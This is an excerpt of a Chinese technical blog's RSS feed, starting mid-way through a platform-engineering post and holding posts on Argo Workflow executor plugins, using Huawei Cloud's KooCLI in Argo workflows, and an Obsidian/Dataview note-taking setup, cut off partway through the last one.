&lt;h2 id=&#34;平台工程思维&#34;&gt;平台工程思维&lt;/h2&gt;

&lt;p&gt;那么我们收获了什么呢？&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;集成非常容易：开发人员能够简单的声明要调用的函数和微服务，就能够自动获得所需的客户端。&lt;/li&gt;
&lt;li&gt;测试代码少：胶水代码无需进行集成测试&lt;/li&gt;
&lt;li&gt;开发人员专注于业务逻辑的实现，开发和部署粒度非常小。&lt;/li&gt;
&lt;li&gt;部署速度快：代码量小，无需框架公共库的打包工作&lt;/li&gt;
&lt;li&gt;无需脚手架：集成工作都已经预先配置，并且开发人员用生命方式就可以引用。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;未来愿景&#34;&gt;未来愿景&lt;/h2&gt;

&lt;p&gt;接下来，我们应该如何利用现有资源并在此基础上进行构建呢？例如我们可以让不同的团队管理各自不同的运行时。只需要克隆环境就能完成这样的需求。这样一来，ecom 和 blog 团队都可以有各自不同的运行时集群，这种情况下，不同团队的代码就不会被推送到同一运行时。但是不同运行时之间的函数还是可以互相调用的。&lt;/p&gt;

&lt;p&gt;在这种情况下会产生一个需求：根据运行时来优化函数之间的亲和性。假设我们有两个运行时，每个运行时都包含多个函数：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/future1.png&#34; alt=&#34;F1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图看到，函数 2 和 5 之间存在交互。他们在不同的运行时中运行，网络延迟会降低他们之间的通信效率。如果我们能让系统自动地把函数 5 部署到第一个运行时，函数 2 部署到第二个运行时，调用关系就会变成这样：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/future2.png&#34; alt=&#34;F2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这样我们就跨过构建，直接在运行时完成函数的组织和优化，以此类推，我们能够形成一个跨网调用最少的高度优化的运行时环境。而现在我们只能把领域设计、开发环境跟运行时拓扑进行耦合（才能达成这样的效果）。&lt;/p&gt;

&lt;h2 id=&#34;单一运行时才是未来&#34;&gt;单一运行时才是未来&lt;/h2&gt;

&lt;p&gt;将运行时扩展到其他编程语言是个有吸引力的想法。依我看，要完成这一目的，不需要构建多语言系统，也不应该为特定技术堆栈多次构建相同的框架。我们需要的是能够支持任何语言的&lt;a href=&#34;https://www.aviransplace.com/post/platform-as-a-runtime-paar-the-next-step-in-platform-engineering&#34; target=&#34;_blank&#34;&gt;单一运行时&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;要实现这一目标，我们设想的方法是将整体框架一分为二：“Host”和“Guest”。Host 中包含运行时框架、服务集成和数据服务层；Guest 中包含的则是业务代码以及业务代码的集成能力。这样一来，只需要开发一次应用程序框架，而不是不断尝试在不同编程语言框架之中努力实现对等功能。这种方法的明显优势就是只要在 Host 上进行框架更新，无需跨语言的重复劳动。&lt;/p&gt;

&lt;p&gt;缺点也是存在的——Guest 之间的调用是通过 Host 的跨进程通信来完成的。我们还在使用 GraalVM，试图在 Host 进程之间运行多个不同语言实现的 Guest。现在我们是通过两个不同的进程，简化了开发工作，得到了一个可用的系统。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/future3.png&#34; alt=&#34;F3&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;当下进展&#34;&gt;当下进展&lt;/h2&gt;

&lt;p&gt;我们的开发人员很喜欢目前的工作，这标志着该方法的成功。方法的核心就是平台工程思维，在这种环境中，很多复杂问题变得简单。Wix 开发人员能在几小时内开发出从前需要开发几天甚至几个星期的东西。&lt;/p&gt;

&lt;p&gt;从本质上来说，我们的平台工程超越了简单的开发人员门户，取而代之的是成熟的 PaaR，为开发运维工作降低了心智负担。&lt;/p&gt;

&lt;p&gt;要了解更多信息，请观看：Beyond Serverless and DevOps。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Argo workflow 中使用插件减少并行 Pod 数量</title>
      <link>/post/reduce-pods-with-plugins-in-argo/</link>
      <pubDate>Fri, 29 Nov 2024 21:41:22 +0800</pubDate>
      <guid>/post/reduce-pods-with-plugins-in-argo/</guid>
      <description>&lt;p&gt;在之前写过的使用 Argo workflow 调用公有云客户端软件实现运维过程的文章中，可以看到，使用 Argo workflow 的容器模板，简单的将既有运维能力容器化，就能使用 Argo workflow 对这些能力进行编排了。&lt;/p&gt;

&lt;p&gt;不过近期一个测试中，遇到个小麻烦——在一个 &lt;code&gt;With&lt;/code&gt; 循环里，我输入了 500 个任务，结果是 6 节点 CCE 集群爆满，流程卡住——集群规模的事情很简单，我直接将 Argo workflow 部署到 CCE Autopilot 集群中，随着流程启动，Auto pilot 集群非常给力，不到一分钟就扩容到了上百节点。然而新的问题出现了，Argo workflow 容器模板使用的镜像托管在 &lt;code&gt;quay.io&lt;/code&gt; 上，我被限流了——无法拉取镜像，工作流自然也就无法执行了。&lt;/p&gt;

&lt;p&gt;如果说必须要限流的话，Argo workflow 提供了多种机制，在不同粒度上对工作流的并发进行控制：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在模板中，使用 &lt;code&gt;parallelism&lt;/code&gt; 参数，限制流程实例内的并发数。&lt;/li&gt;
&lt;li&gt;在 Workflow Controller 的 Configmap（&lt;code&gt;workflow-controller-configmap&lt;/code&gt;）中，使用 &lt;code&gt;parallelism&lt;/code&gt; 或者 &lt;code&gt;namespaceParallelism&lt;/code&gt;，在集群范围内，限制总体并发的流程数量。&lt;/li&gt;
&lt;li&gt;模板中使用 &lt;code&gt;synchronization&lt;/code&gt;，使用同样的共享锁的流程实例将会被有效限流。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;不难看出，在有限集群的规模下，通过对并发的控制，以及垃圾回收策略的定义，都能有效的限制集群规模——毕竟上百节点是要花不少银子的。在这种情况下，还有一条路就是，使用执行插件。例如如下工作流：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: python-example-
spec:
  entrypoint: main
  arguments:
    parameters:
      - name: value
        value: &amp;quot;1&amp;quot;  
  templates:
    - name: main
      steps:
      - - name: evaluate
          template: evaluate
          arguments:
            parameters:
              - name: value
                value: &amp;quot;{{workflow.parameters.value}}&amp;quot;
          withSequence:
            count: &amp;quot;50&amp;quot;         
    - name: evaluate
      inputs:
        parameters:
          - name: value    
      plugin:
        python:
          expression: |
            {&amp;quot;sum&amp;quot;: int(parameters[&amp;quot;value&amp;quot;]) + 1}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里使用 &lt;code&gt;plugin.python&lt;/code&gt; 的方式引用了一个插件，执行时，循环了 50 次，提交后，我们会发现，这里只执行了一个 Pod：&lt;code&gt;python-example-hlc5t-1340600742-agent&lt;/code&gt;，也就是说，这一个 Pod 承载了所有的 50 个任务。如何实现的呢？这里就要看看 Argo workflow 的插件机制了。&lt;/p&gt;

&lt;p&gt;Argo workflow &lt;strong&gt;默认是不启用插件的&lt;/strong&gt;，要启用插件，需要给控制器加入环境变量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: workflow-controller
spec:
  template:
    spec:
      containers:
        - name: workflow-controller
          env:
            - name: ARGO_EXECUTOR_PLUGINS
              value: &amp;quot;true&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;重启后，就可以启用上面工作流引用的插件了，启用插件的方式很有意思，提交一个 Configmap 即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# This is an auto-generated file. DO NOT EDIT
apiVersion: v1
data:
  sidecar.container: |
    args:
....
kind: ConfigMap
metadata:
...
    workflows.argoproj.io/version: &#39;&amp;gt;= v3.3&#39;
  creationTimestamp: null
  labels:
    workflows.argoproj.io/configmap-type: ExecutorPlugin
  name: python-executor-plugin
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这方式有点奇怪，Configmap 里面包含了一堆 Python 代码。以及似乎是 Sidecar 的容器定义。应用之后，就能够运行上述工作流了。&lt;/p&gt;

&lt;p&gt;注意 Configmap 中的注释说明：这是一个自动生成的文件，哪里来的呢？&lt;/p&gt;

&lt;p&gt;实际上，Argo workflow 插件是由 &lt;code&gt;argo executor-plugin build&lt;/code&gt; 命令构建出来的，一个插件的原始文件主要包含三个部分：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;插件清单（&lt;code&gt;plugin.yaml&lt;/code&gt;）：这里实际上是对一个容器的定义，其中包含了容器镜像、资源使用等。&lt;/li&gt;
&lt;li&gt;启动文件：一个命名为 &lt;code&gt;server.*&lt;/code&gt; 的文本文件，可以是 Shell 或者 Python 脚本，他会在插件启动时被执行。&lt;/li&gt;
&lt;li&gt;插件镜像：上述文本文件可能无法描述一些业务逻辑，因此，可以将二进制文件封装到镜像里，给启动文件调用。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;例如前边用到的 Python 插件的 &lt;code&gt;plugin.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: ExecutorPlugin
apiVersion: argoproj.io/v1alpha1
metadata:
  name: python
...
    workflows.argoproj.io/version: &#39;&amp;gt;= v3.3&#39;
spec:
  sidecar:
    container:
      command:
        - python
        - -c
      image: python:alpine
      name: python-executor-plugin
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;不难看出，这个定义和上边的 Configmap 是一致的。再看看 &lt;code&gt;server.py&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;import json
from http.server import BaseHTTPRequestHandler, HTTPServer


class Plugin(BaseHTTPRequestHandler):

    def args(self):
        return json.loads(self.rfile.read(int(self.headers.get(&#39;Content-Length&#39;))))

    def reply(self, reply):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(json.dumps(reply).encode(&amp;quot;UTF-8&amp;quot;))

    def unsupported(self):
        self.send_response(404)
        self.end_headers()

    def do_POST(self):
        if self.path == &#39;/api/v1/template.execute&#39;:
            args = self.args()

            template = args[&#39;template&#39;]
            plugin = template.get(&#39;plugin&#39;, {})

            if &#39;python&#39; in plugin:
                spec = plugin[&#39;python&#39;]

                # convert parameters into easy to use dict
                # artifacts are not supported
                parameters = {}
                for parameter in template.get(&#39;inputs&#39;, {}).get(&#39;parameters&#39;, []):
                    parameters[parameter[&#39;name&#39;]] = parameter[&#39;value&#39;]

                try:
                    code = compile(spec[&#39;expression&#39;], &amp;quot;&amp;lt;string&amp;gt;&amp;quot;, &amp;quot;eval&amp;quot;)
...


if __name__ == &#39;__main__&#39;:
    httpd = HTTPServer((&#39;&#39;, 7984), Plugin)
    httpd.serve_forever()
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上边的代码，不难看出，这里只是启动了一个简单的 Python HTTP Server，监听 &lt;code&gt;/api/v1/template.execute&lt;/code&gt; 的 Post 请求，并对其进行处理。&lt;/p&gt;

&lt;p&gt;上述的 YAML 和启动代码都编写完成之后，就可以使用 &lt;code&gt;argo executor-plugin build&lt;/code&gt; 命令来构建 Configmap 了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;当然也可以使用自己定义的基础镜像。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Argo &#43; KooCli 操作华为云资源</title>
      <link>/post/argo-and-hwc/</link>
      <pubDate>Tue, 15 Oct 2024 01:39:10 +0800</pubDate>
      <guid>/post/argo-and-hwc/</guid>
      <description>

&lt;p&gt;前面写过一篇使用 Argo Workflow 操作 AWS 资源的例子，今天要写的是类似的，在 Argo Workflow 中，使用 CLI 客户端操作华为云资源的办法。&lt;/p&gt;

&lt;p&gt;华为云提供的 &lt;a href=&#34;https://support.huaweicloud.com/function-hcli/index.html&#34; target=&#34;_blank&#34;&gt;KooCLI&lt;/a&gt; 是一个命令行工具，其中提供了很多华为云的操作能力。要在 Argo Workflow 中使用 KooCLI，首先需要构建 KooCLI 的容器镜像，Dockerfile 如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM ubuntu:24.04
RUN apt-get update -y &amp;amp;&amp;amp; apt-get install curl -y
RUN curl -sSL https://cn-north-4-hdn-koocli.obs.cn-north-4.myhuaweicloud.com/cli/latest/hcloud_install.sh -o ./hcloud_install.sh \
  &amp;amp;&amp;amp; bash ./hcloud_install.sh -y \
  &amp;amp;&amp;amp; yes | hcloud --help

WORKDIR hcloud
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;整个过程和官网的说明是类似的，这里我加了一行初始化操作：&lt;code&gt;yes | hcloud --help&lt;/code&gt;，这是因为启动 &lt;code&gt;hcloud&lt;/code&gt; 的时候，首先会弹出一个 License 界面，需要输入 &lt;code&gt;yes&lt;/code&gt; 才继续。所以这里使用 &lt;code&gt;yes&lt;/code&gt; 命令进行一个初始化。&lt;/p&gt;

&lt;p&gt;容器镜像构造结束之后，就可以在 Argo Workflow 中使用 KooCLI 了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这次测试使用的是 Argo Workflow 的 v3.5.11 版本。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单粗暴上代码，在 &lt;code&gt;https://gist.github.com/fleeto/7c70b58a6ee7bdb93494f94f77db7c20&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;上述代码有几个要点：&lt;/p&gt;

&lt;h2 id=&#34;入参&#34;&gt;入参&lt;/h2&gt;

&lt;p&gt;在 &lt;code&gt;spec.arguments.parameters&lt;/code&gt; 中，定义了 &lt;code&gt;ak&lt;/code&gt;、&lt;code&gt;sk&lt;/code&gt; 以及 &lt;code&gt;region&lt;/code&gt; 三个参数，用于配置华为云的 AK、SK 以及区域。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  arguments:
    parameters:
    - name: ak
      value: &amp;quot;AKAKAK&amp;quot;
    - name: sk
      value: &amp;quot;SKSKSSK&amp;quot;
    - name: region
      value: &amp;quot;cn-north-4&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;执行-koocli&#34;&gt;执行 KooCLI&lt;/h2&gt;

&lt;p&gt;在 &lt;code&gt;list-ecs&lt;/code&gt; 步骤中，使用了前面构建的 KooCLI 镜像，用无配置方式，通过 &lt;code&gt;hcloud ECS ListCloudServers&lt;/code&gt; 命令，获取到当前区域下的所有云服务器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- name: list-ecs
  container:
    image: dustise/koocli:v0.0.2
    command:
    - hcloud
    args:
    - ECS
    - ListCloudServers
    - --cli-region={{workflow.parameters.region}}
    - --cli-access-key={{workflow.parameters.ak}}
    - --cli-secret-key={{workflow.parameters.sk}}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一步骤中，我没有定义输出参数，这是因为在 Argo Workflow 中，可以使用 &lt;code&gt;steps.[步骤名称].outputs.result&lt;/code&gt; 的方式，默认导出 STDOUT 内容，但是需要注意的是，这种方式最大支持 256kb 的内容。&lt;/p&gt;

&lt;p&gt;还有一种方式就是把内容输出给文本文件，然后用如下形式声明：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;outputs:
  parameters:
  - name: hello-param
    valueFrom:
      path: /tmp/hello_world.txt 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;KooCLI 输出的 JSON 中，可以使用 &lt;code&gt;--cli-query&lt;/code&gt; 开关，使用 &lt;code&gt;JMESPath&lt;/code&gt; 方式对结果进行整理，原始的输出格式大致如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;servers&amp;quot;: [
    {},]}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;要想只输出 &lt;code&gt;servers&lt;/code&gt; 数组，可以加入 &lt;code&gt;--cli-query=servers&lt;/code&gt; 开关，就能输出只包含 &lt;code&gt;servers&lt;/code&gt; 数组的内容了。&lt;/p&gt;

&lt;h2 id=&#34;引用输出结果进行循环&#34;&gt;引用输出结果进行循环&lt;/h2&gt;

&lt;p&gt;这里使用了 &lt;code&gt;withParam&lt;/code&gt; 语法，对 &lt;code&gt;list-ecs&lt;/code&gt; 步骤的输出结果进行循环，每次循环，都会把当前循环的元素赋值给 &lt;code&gt;item&lt;/code&gt; 变量，输出 &lt;code&gt;item&lt;/code&gt; 变量的 &lt;code&gt;id&lt;/code&gt; 属性。&lt;/p&gt;

&lt;p&gt;循环变量里，我们使用了一个奇怪的表达式：&lt;code&gt;&amp;quot;{{=toJSON(jsonpath(steps.list.outputs.result, &#39;$.servers&#39;))}}&amp;quot;&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{{=&lt;/code&gt; 代表使用表达式进行运算。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;jsonpath&lt;/code&gt; 获得数组&lt;/li&gt;
&lt;li&gt;toJSON 把对象编码为 JSON&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意，不同的 Argo workflow 版本，这一点不太一样，目前看到的&lt;a href=&#34;https://github.com/argoproj/argo-workflows/discussions/8930#discussioncomment-10866254&#34; target=&#34;_blank&#34;&gt;官网讨论&lt;/a&gt;是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;3.4: &lt;code&gt;{{=toJson(jsonpath(...))}}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;3.5: &lt;code&gt;{{=toJSON(jsonpath(...))}}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;3.6: &lt;code&gt;{{=jsonpath(...)}}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;运行&#34;&gt;运行&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;argo submit&lt;/code&gt; 或者 &lt;code&gt;kubectl create&lt;/code&gt; 执行之后，可以看到，KooCLI 用了一个容器进行查询，随后在循环中，每个示例都有一个对应的 Pod 执行 ECHO 任务。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 Obsidian 有效应对日常工作</title>
      <link>/post/obsidian-daily-howto/</link>
      <pubDate>Wed, 02 Oct 2024 23:06:09 +0800</pubDate>
      <guid>/post/obsidian-daily-howto/</guid>
      <description>

&lt;p&gt;两三年前，因为信息安全方面的考虑，弃坑了 Notion 和 Craft，改为使用 Obsidian 进行日常工作的记录，随着工作内容的日渐散乱，原本围绕少量项目和单一知识体系构造的笔记方法，从记录效率、到检索能力都逐渐被破坏了。因此经过一段时间打磨之后，围绕着记录、浏览和检索三个功能特性，面向我的日常工作内容，借助一系列的插件，逐步调整了我的笔记方法。目前看来，这种用事件为核心的记录方法，在日常工作中表现出的效率，的确远远超过之前以天为单位的粗放方法。&lt;/p&gt;

&lt;h2 id=&#34;场景&#34;&gt;场景&lt;/h2&gt;

&lt;p&gt;日常工作中，需要打开 Obsidian 进行记录的情况，主要有几个场景：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;文件往来&lt;/strong&gt;：这里说的文件，除了 Markdown 和 Office 三件套之外，还可能包括各种绘图、建模的存档，以及一些在线文档、代码仓、工单系统等。虽说在线文档是现在的主流，但是在面对的并行项目和工具都达到两位数，并且相互之间存在交叉的情况下，在线文档的各种网址本身也可能成为一种认知负担；更不要提“我早就发给过你”、“你从来就没发给过我”的常规战争了。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;会议/沟通纪要&lt;/strong&gt;：日常经常有些小会、小的讨论，其结论处在“有用、有意向，但是没有公示价值”的尴尬区间，可能需要进一步的深入讨论以及决策，这些鸡肋内容如果失去记录，可能就造成信息流的中断，对于其所属的更大的项目或者产品的决策过程，也会造成一定的损失。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;即兴文档&lt;/strong&gt;：一方面在工作范围之外，还是会有一些稍嫌杂乱的思索和摘抄；另一方面，在线交流过程中，会产生一些现场绘图、板书等也是需要记录的。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;除了上述三种记录场景之外，更重要的是查询和展示，传统来说 Obsidian 通过文件夹、标签、搜索、（反向）链接和关系图谱对记录内容进行展示，这些方法&lt;strong&gt;的确可以&lt;/strong&gt;显示出特定关注点的&lt;strong&gt;所有&lt;/strong&gt;相关内容，但是通常会显得比较杂乱；除了这些之外，我们还希望有更丰富的查询和更规整的展示方式。&lt;/p&gt;

&lt;h2 id=&#34;方法&#34;&gt;方法&lt;/h2&gt;

&lt;p&gt;综合上述场景化需求，我决定使用 Zettelkasten 的卡片记录法，结合 &lt;code&gt;Dataview&lt;/code&gt; 查询来满足日常需求。&lt;/p&gt;

&lt;h2 id=&#34;使用卡片快速记录&#34;&gt;使用卡片快速记录&lt;/h2&gt;

&lt;p&gt;要使用卡片记录，首先要在&lt;code&gt;配置-&amp;gt;核心插件&lt;/code&gt;中，启用&lt;code&gt;时间戳笔记生成器&lt;/code&gt;（&lt;code&gt;Unique note creator&lt;/code&gt;）。功能启用之后，创建一个保存卡片的目录，例如 &lt;code&gt;/Cards&lt;/code&gt;，然后打开这个选项，把这个目录设置为保存位置。如果有兴趣可以把时间戳格式设置成自己喜欢的样式。后续我们会针对模板进行更多工作，所以这里不会进行设置。&lt;/p&gt;

&lt;h2 id=&#34;建立模板&#34;&gt;建立模板&lt;/h2&gt;

&lt;p&gt;在 Obsidian 中，模板用于设置常见的格式化内容。设置模版之后，只要用 &lt;code&gt;插入模板&lt;/code&gt; 命令，就可以选择模版插入当前位置。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里假设使用 &lt;code&gt;/Templates&lt;/code&gt; 作为模板目录，可以在 &lt;code&gt;配置-&amp;gt;核心插件-&amp;gt;模板&lt;/code&gt; 中设置目录。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在模板中，除了可以设置特定常用的文字、结构和内容之外，还可以使用 &lt;code&gt;{{date}}&lt;/code&gt;、&lt;code&gt;{{time}}&lt;/code&gt; 作为变量，在使用模板时自动写入当前日期和时间。&lt;/p&gt;

&lt;p&gt;另外，为了便于 &lt;code&gt;DataView&lt;/code&gt; 的检索，我们会使用 &lt;code&gt;字段名:: 字段内容&lt;/code&gt; 的方式，为速记内容提供关系数据。&lt;/p&gt;

&lt;p&gt;这里我根据上除的录入场景，为卡片设置了三种模板：&lt;/p&gt;

&lt;h3 id=&#34;即兴写作&#34;&gt;即兴写作&lt;/h3&gt;

&lt;p&gt;即兴写作其实不会有很多内容，我通常只会放置 &lt;code&gt;标题::&lt;/code&gt;、&lt;code&gt;关键字::&lt;/code&gt; 和 &lt;code&gt;内容&lt;/code&gt; 三个段落。另外为了在 &lt;code&gt;Dataview&lt;/code&gt; 中方便检索，我会在模版第一行中使用 &lt;code&gt;#卡片-即兴&lt;/code&gt; 的标签。&lt;/p&gt;

&lt;p&gt;但是在 Obsidian 中，还有一个即兴写作的东西是 Excalidraw，他可不会管你什么 Tag 什么 Dataview，其实有两种方法在 Excalidraw 文件中进行标注：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在浏览窗格中，使用&lt;code&gt;默认编辑器&lt;/code&gt;打开绘图，会看到绘图背后的 Markdown 文档，直接在前面的 &lt;code&gt;---&lt;/code&gt; 区间加入 Tag 或者 Dataview Field。&lt;/li&gt;
&lt;li&gt;安装 &lt;code&gt;MetaEdit&lt;/code&gt; 插件，直接在 Excalidraw 文件的右键菜单上就能看到加入 Tag 或者 Field 的选项。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;沟通和会议&#34;&gt;沟通和会议&lt;/h3&gt;

&lt;p&gt;沟通和会议，主要关注的是时间、参与人、过程内容和关键结果，时间可以用前面提到的 &lt;code&gt;{{date}}&lt;/code&gt;、&lt;code&gt;{{time}}&lt;/code&gt; 自动填充，参与人我做成了字段。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;涉及人的项目，我通常会用 &lt;code&gt;[[人名]]&lt;/code&gt; 的方式，这样每个人都有自己的页面，一方面用反向链接查看每个人的所有相关项目，另一方面可以为这个人加入诸如联系方式、邮件、组织关系等的注释。
注意：&lt;code&gt;参与人::&lt;/code&gt; 后面如果写入多个人名，Dataview 会认为这是一整个字符串，要形成数组方式，应该用 &lt;code&gt;参与人:: [[张三]]  参与人::[[李四]]&lt;/code&gt; 的方式。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;会议结论里通常会包含 TODO 项目，这里可以使用 &lt;code&gt;Task&lt;/code&gt; 插件，形成待办列表。（后面的 &lt;code&gt;Dataview&lt;/code&gt; 章节会介绍 &lt;code&gt;Task&lt;/code&gt; 专属的视图）例如在 7 日之前联系张三：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;- [ ] 会见 [[张三]] 修改诉讼方案 📅 2024-10-07&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;快速插入模版&#34;&gt;快速插入模版&lt;/h3&gt;

&lt;p&gt;因为前面没有给卡片设置缺省模版，所以新建卡片是空白的，这里选择模版再插入就有些麻烦了，因此我安装了 &lt;code&gt;Hotkeys for templates&lt;/code&gt;，这个插件可以为每个模版设置快捷键，方便你夹着电话的时候快速构建内容。&lt;/p&gt;

&lt;h3 id=&#34;文件往来&#34;&gt;文件往来&lt;/h3&gt;

&lt;p&gt;文件通常也是沟通的一种，不同的是要对文件进行处理，这里我主要借助的是 &lt;code&gt;Custom Attachment Location&lt;/code&gt; 插件，在他的配置中，有一个 &lt;code&gt;Location for New Attachments&lt;/code&gt; 的项目，可以设置把附件文件保存到当前笔记的相对目录下，例如我设置的是 &lt;code&gt;./assets_of_$filename&lt;/code&gt;，如果当前卡片是 &lt;code&gt;202410011820&lt;/code&gt;，则黏贴进来附件会被保存到 &lt;code&gt;assets_of_202410011820&lt;/code&gt; 目录里。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，需要开启 &lt;code&gt;选项-&amp;gt;文件与链接&lt;/code&gt; 中的 &lt;code&gt;检测所有类型文件&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;使用-dataview-快速浏览&#34;&gt;使用 Dataview 快速浏览&lt;/h2&gt;

&lt;p&gt;Dataview 使用一种特定的 DSL 来对 Obsidian 中的数据进行查询，前面一节创建的卡片会有些凌乱，因此我设计了几个视图，让工作变得清晰一些。&lt;/p&gt;

&lt;h3 id=&#34;首页&#34;&gt;首页&lt;/h3&gt;

&lt;p&gt;使用 &lt;code&gt;Home Page&lt;/code&gt; 插件实现，主要目的是跟踪 Task 列表，其中使用 Dataview 编写了两个简单的视图，分别显示未完成的任务和已完成的任务。Dataview 为 Task 插件定制的语法非常简单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-markdown&#34;&gt;```tasks
not done
sort by due
```
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;展示未完成任务。&lt;/p&gt;

&lt;p&gt;以及&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-makrdown&#34;&gt;```tasks
done
sort by done revferse
limit 10
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;展示最近十条已完成任务。&lt;/p&gt;

&lt;h3 id=&#34;日记&#34;&gt;日记&lt;/h3&gt;

&lt;p&gt;可以使用在日记的模板里，使用变量和 Dataview 的语法，快速查询某一天的所有卡片。我的用法是，用三个不同的表格，展示每天的三种卡片。例如日记模板中，关于即兴记录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-markdown&#34;&gt;```dataview
TABLE 标题,关键字
FROM (#卡片-即兴 and (&amp;quot;Cards&amp;quot;)) or (&amp;quot;Excalidraw&amp;quot;)
WHERE (file.day=date({{time:YYYY-MM-DD}}))
```
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;TABLE&lt;/code&gt; 这一行，表示会引用卡片中的 &lt;code&gt;标题::&lt;/code&gt; 和 &lt;code&gt;关键字::&lt;/code&gt; 字段。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FROM&lt;/code&gt; 子句，表示从 &lt;code&gt;Cards&lt;/code&gt; 目录中带有 &lt;code&gt;#卡片-即兴&lt;/code&gt; 标签的卡片中，或者从 &lt;code&gt;Excalidraw&lt;/code&gt; 文件中，选择当天的卡片。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WHERE&lt;/code&gt; 中，要求文件日期等于 &lt;code&gt;date({{time:YYYY-MM-DD}})&lt;/code&gt;。&lt;code&gt;date&lt;/code&gt; 是 &lt;code&gt;Dataview&lt;/code&gt; 的内置函数，负责把日期字符串转换成日期格式；而 &lt;code&gt;{{time:YYYY-MM-DD}}&lt;/code&gt; 则是模板中的变量，会被替换成当前日期并进行格式化。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;同类列表&#34;&gt;同类列表&lt;/h3&gt;

&lt;p&gt;除了用日记表达的每日列表之外，我还另外准备了几个页面，用于单独展示同类卡片，例如对于交流内容，我的 &lt;code&gt;Dataview&lt;/code&gt; 查询是这样的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-markdown&#34;&gt;```dataview
TABLE 时间,主题,关键字,与会人,file.etags
FROM #卡片-沟通 and (&amp;quot;Cards&amp;quot;)
SORT 时间 DESC
```
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
